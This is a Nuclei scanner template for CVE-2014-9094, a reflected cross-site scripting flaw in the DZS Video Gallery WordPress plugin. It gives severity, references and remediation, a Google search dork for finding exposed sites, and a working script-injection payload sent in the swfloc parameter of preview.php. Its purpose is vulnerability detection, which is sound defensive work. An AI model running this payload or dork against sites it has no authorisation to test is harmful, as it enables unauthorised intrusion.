id: CVE-2014-9094

info:
  name: WordPress DZS-VideoGallery Plugin Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress DZS-VideoGallery Plugin, which includes a fix for this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9094
    - http://websecurity.com.ua/7152/
    - http://seclists.org/fulldisclosure/2014/Jul/65
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-9094
    cwe-id: CWE-79
    epss-score: 0.07178
    epss-percentile: 0.91683
    cpe: cpe:2.3:a:digitalzoomstudio:video_gallery:-:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: digitalzoomstudio
    product: "video_gallery"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/dzs-videogallery\""
  tags: cve2014,cve,wordpress,xss,wp-plugin,seclists,digitalzoomstudio,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/dzs-videogallery/readme HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Video Gallery WordPress DZS'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<script>alert(1)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206bdf9af57562935631d6b6dd6942aeb9628863b6ba28780375c9f1e931763e2e022100c900ee7738ff8eaf76c32998e5b81c815c6f751079b3bc21913d3e816743a713:922c64590222798bb761d5b6d8e72950